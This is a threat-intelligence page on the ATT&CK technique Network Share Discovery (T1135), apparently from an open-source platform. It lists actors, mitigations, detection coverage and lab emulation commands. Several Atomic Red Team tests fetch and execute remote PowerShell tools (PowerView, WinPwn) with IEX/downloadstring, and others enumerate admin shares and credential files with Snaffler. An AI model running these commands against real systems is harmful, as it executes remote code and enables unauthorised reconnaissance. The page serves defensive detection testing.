T1135 · threatengine.sh

Home/ATT&CK Technique/Network Share Discovery

ATT&CK Technique

Network Share Discovery

T1135 · discovery

Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network. File sharing over a Windows network occurs over the SMB protocol.

Net can be used to query a remote system for available shared drives using the net view \\\\remotesystem command. It can also be used to query shared drives on the local system using net share. For macOS, the sharing -l command lists all shared points used for smb services.

LinuxmacOSWindows

◆

Actors Using This

iranAgrius
russia_speaking_cybercrimeAkira
russia_speaking_cybercrimeALPHV / BlackCat
north_koreaAndariel
unknown_likely_russia_alignedAnubis Ransomware
chinaAoqin Dragon
chinaAPT10
chinaAPT17
chinaAPT1
chinaAPT31
iranAPT33
iranOilRig
iranAPT35
north_koreaAPT37

◈

Likely Attack Path

Techniques the same actors pair with this one distinctively - those showing up among actors who use this technique noticeably more than across all actors (lift > 1.15), grouped by kill-chain phase. The × is that lift multiplier; the shared-actor count is in the tooltip. A near-universal technique pairs with everything at baseline, so its list is short by design.

reconnaissance earlier

T1595.003 · Wordlist Scanning ×1.70 T1598.002 · Spearphishing Attachment ×1.70

initial-access earlier

T0865 · Spearphishing Attachment ×1.70

execution earlier

T1059.008 · Network Device CLI ×1.70

persistence earlier

T1136.001 · Local Account ×1.70 T1136.002 · Domain Account ×1.70 T1137.006 · Add-ins ×1.70 T1205 · Traffic Signaling ×1.70 T1556.001 · Domain Controller Authentication ×1.70

privilege-escalation earlier

T1546.001 · Change Default File Association ×1.70 T1546.011 · Application Shimming ×1.70

collection later

T1602 · Data from Configuration Repository ×1.70 T0801 · Monitor Process State ×1.70 T1213.006 · Databases ×1.70

other same

T1562.003 · Impair Command History Logging ×1.70

▸

Atomic Tests

Executable Atomic Red Team test cases for exercising this technique in a lab. Copy a command, run it on the listed platform, confirm your detections fire.

shmacosNetwork Share Discovery

Network Share Discovery

df -aH
smbutil view -g //#{computer_name}
showmount #{computer_name}

bashelevatedlinuxNetwork Share Discovery - linux

Network Share Discovery using smbstatus

smbstatus --shares

shelevatedlinuxNetwork Share Discovery - FreeBSD

Network Share Discovery using smbstatus

smbstatus --shares

command_promptwindowsNetwork Share Discovery command prompt

Network Share Discovery utilizing the command prompt. The computer name variable may need to be modified to point to a different host Upon execution available network shares will be displayed in the powershell session

net view \\#{computer_name}

powershellwindowsNetwork Share Discovery PowerShell

Network Share Discovery utilizing PowerShell. The computer name variable may need to be modified to point to a different host Upon execution, available network shares will be displayed in the powershell session

get-smbshare

command_promptwindowsView available share drives

View information about all of the resources that are shared on the local computer Upon execution, available share drives will be displayed in the powershell session

net share

powershellwindowsShare Discovery with PowerView

Enumerate Domain Shares the current user has access. Upon execution, progress info about each share being scanned will be displayed.

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Find-DomainShare -CheckShareAccess -Verbose

powershellwindowsPowerView ShareFinder

PowerView is a PowerShell tool to gain network situational awareness on Windows domains. ShareFinder finds (non-standard) shares on machines in the domain.

Import-Module "PathToAtomicsFolder\..\ExternalPayloads\PowerView.ps1"
Invoke-ShareFinder #{parameters}

powershellwindowsWinPwn - shareenumeration

Network share enumeration using the shareenumeration function of WinPwn

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
shareenumeration -noninteractive -consoleoutput

command_promptwindowsNetwork Share Discovery via dir command

Network Share Discovery utilizing the dir command prompt. The computer ip variable may need to be modified to point to a different host ip Upon execution available network shares will be displayed in the commandline session

dir \\#{computer_ip}\c$
dir \\#{computer_ip}\admin$
dir \\#{computer_ip}\IPC$

powershellwindowsEnumerate All Network Shares with SharpShares

SharpShares is a command line tool that can be integrated with Cobalt Strike's execute-assembly module, allowing for the enumeration of network shares. This technique has been utilized by various ransomware groups, including BianLian. [Reference](https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-136a)

cmd /c '#{sharp_path}' /ldap:all | out-file -filepath "#{output_path}"

powershellwindowsEnumerate All Network Shares with Snaffler

Snaffler is an open-source tool that has been used by various threat groups, including Scattered Spider/Muddled Libra, to enumerate accessible shares and credential-containing files within a domain. [Reference](https://unit42.paloaltonetworks.com/muddled-libra/)

invoke-expression 'cmd /c start powershell -command { cmd /c "#{snaffler_path}" -a -o "#{output_path}" }; start-sleep 90; stop-process -name "snaffler"'

▣

Mitigations

MITRE ATT&CK mitigations - vendor-agnostic guidance for reducing exposure to this technique.

M1028Operating System Configuration

Operating System Configuration involves adjusting system settings and hardening the default configurations of an operating system (OS) to mitigate adversary exploitation and prevent abuse of system functionality. Proper OS configurations address security vulnerabilities, limit attack surfaces, and ensure robust defense against a wide range of techniques.

Disable Unused Features

Turn off SMBv1, LLMNR, and NetBIOS where not needed.
Disable remote registry and unnecessary services.

Enforce OS-level Protections

Enable Data Execution Prevention (DEP), Address Space Layout Randomization (ASLR), and Control Flow Guard (CFG) on Windows.
Use AppArmor or SELinux on Linux for mandatory access controls.

Secure Access Settings

Enable User Account Control (UAC) for Windows.
Restrict root/sudo access on Linux/macOS and enforce strong permissions using sudoers files.

File System Hardening

Implement least-privilege access for critical files and system directories.
Audit permissions regularly using tools like icacls (Windows) or getfacl/chmod (Linux/macOS).

Secure Remote Access

Restrict RDP, SSH, and VNC to authorized IPs using firewall rules.
Enable NLA for RDP and enforce strong password/lockout policies.

Harden Boot Configurations

Enable Secure Boot and enforce UEFI/BIOS password protection.
Use BitLocker or LUKS to encrypt boot drives.

Regular Audits

Periodically audit OS configurations using tools like CIS Benchmarks or SCAP tools.

Tools for Implementation Windows

Microsoft Group Policy Objects (GPO): Centrally enforce OS security settings.
Windows Defender Exploit Guard: Built-in OS protection against exploits.
CIS-CAT Pro: Audit Windows security configurations based on CIS Benchmarks.

Linux/macOS

AppArmor/SELinux: Enforce mandatory access controls.
Lynis: Perform comprehensive security audits.
SCAP Security Guide: Automate configuration hardening using Security Content Automation Protocol.

Cross-Platform

Ansible or Chef/Puppet: Automate configuration hardening at scale.
OpenSCAP: Perform compliance and configuration checks.

◈

Detection Coverage

1/6 layers

Coverage across standard detection surfaces. Rows marked none have no rule of that type mapped. Some are real blind spots worth closing; others are simply not applicable to this technique (e.g. YARA matches malware files, not network behaviour).

Behavioral / log (Sigma) 4

Analytics (MITRE CAR) none

Runtime / container (Falco) none

File / malware (YARA) none

Network (Suricata/Snort) none

Vuln scan (Nuclei) none

▸

Caldera Emulation

MITRE Caldera abilities that emulate this technique - each is an executable action for automated adversary emulation.

discoverywindowsView admin shares

Get-SmbShare | ConvertTo-Json

discoverywindowsView remote shares

net view \\#{remote.host.fqdn} /all

▣

Comply & Defend

NIST 800-53CM-06, CM-07, SI-04

Intelligence Graph · click any node to traverse

CVETechnique ActorTool Family

drag to reposition · click any node to traverse · button top-right enlarges

External lookups - second-class, for what we don’t hold ourselves

MITRE ATT&CK Atomic Red Team car (MITRE)

Vulnerabilities
CISA KEV catalog
CWE weaknesses
CAPEC attack patterns
Package vulnerabilities

Threat intelligence
Threat actors
Tools & malware
ATT&CK techniques
IOCs

Detection & defense
Sigma rules
YARA rules
Atomic Red Team tests
D3FEND countermeasures

Compliance
NIST 800-53
ISO 27001:2022
SOC 2 TSC
PCI-DSS v4.0
CIS Controls v8.1

About
All capabilities
Live statistics
Data sources
Privacy policy
Terms of service

threatengine.sh · Open-source threat intelligence platform · 100+ authoritative sources · Every fact traces to its origin